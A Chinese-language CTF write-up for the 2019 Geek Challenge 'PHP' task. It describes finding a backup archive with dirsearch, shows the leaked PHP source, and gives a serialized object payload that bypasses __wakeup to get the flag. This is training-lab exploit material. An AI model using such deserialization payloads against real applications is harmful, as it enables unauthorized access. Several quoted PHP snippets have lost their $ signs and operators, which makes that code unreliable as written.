19,[极客大挑战 2019]PHP1

这个好玩

看到备份网站字眼,用dirsearch扫描

在kali里打开

爆破出一个www.zip文件

访问一下

解压后是这个页面

class.php

<?php

include 'flag.php';

error_reporting(0);

class Name{

private $username = 'nonono';

private $password = 'yesyes';

public function __construct(username,password){

this-\>username = username;

this-\>password = password;

}

function __wakeup(){

$this->username = 'guest';

}

function __destruct(){

if ($this->password != 100) {

echo "</br>NO!!!hacker!!!</br>";

echo "You name is: ";

echo $this->username;echo "</br>";

echo "You password is: ";

echo $this->password;echo "</br>";

die();

}

if ($this->username === 'admin') {

global $flag;

echo $flag;

}else{

echo "</br>hello my friend~~</br>sorry i can't give you the flag!";

die();

}

}

}

?>

username=admin

password=100

flag.php

<?php

$flag = 'Syc{dog_dog_dog_dog}';

?>

index.php

<!DOCTYPE html>

<head>

<meta charset="UTF-8">

<title>I have a cat!</title>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">

<link rel="stylesheet" href="style.css">

</head>

<style>

#login{

position: absolute;

top: 50%;

left:50%;

margin: -150px 0 0 -150px;

width: 300px;

height: 300px;

}

h4{

font-size: 2em;

margin: 0.67em 0;

}

</style>

<body>

<div id="world">

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!

</div>

<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">

<?php
include 'class.php';
select = _GET['select'];
res=unserialize(@select);
?>

</div>

<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>

</div>

<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>

<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>

<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>

<script src="index.js"></script>

</body>

</html>

index.php中有个注释

**include 'class.php';**提到了class.php

**select = _GET['select'];**定义了一个存放GET请求方法的变量select

**res=unserialize(@select);**将一个字符串反序列化为一个PHP变量

<?php

class Name{

private $username = 'admin';

private $password = '100';

}

$select = new Name();

res = serialize(@select);

echo $res

?>

运行得到反序列化代码

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

相关推荐
悠哉悠哉愿意1 分钟前
【物联网学习笔记】ADC
笔记·单片机·嵌入式硬件·物联网·学习
lkbhua莱克瓦2433 分钟前
考研数学零基础学习Day1
学习
solicitous1 小时前
遇到一个口头机遇的答辩准备3(ai告诉的要点)
学习·生活
admin and root1 小时前
从资产收集FUZZ接口到SQL注入案例
网络·数据库·sql·安全·web安全·渗透测试·log4j
CheerWWW1 小时前
C++学习笔记——this关键字、对象生命周期(栈作用域)、智能指针、复制与拷贝构造函数
c++·笔记·学习
温天仁1 小时前
西门子PLC编程实践教程:工控工程案例学习
开发语言·学习·自动化·php
pingao1413781 小时前
智慧井盖传感器震动倾斜溢水监测:传统市政设施的智慧化升级典范
运维·网络·安全
kang0x02 小时前
Xoring_is_Caring - Writeup by AI
安全
charlie1145141912 小时前
嵌入式C++教程实战之Linux下的单片机编程:从零搭建 STM32 开发工具链(5):调试进阶篇 —— 从 printf 到完整 GDB 调试环境
linux·c++·单片机·学习·嵌入式·c
Moqiqiuzi2 小时前
ET8.1-ECS组件式编程
笔记·学习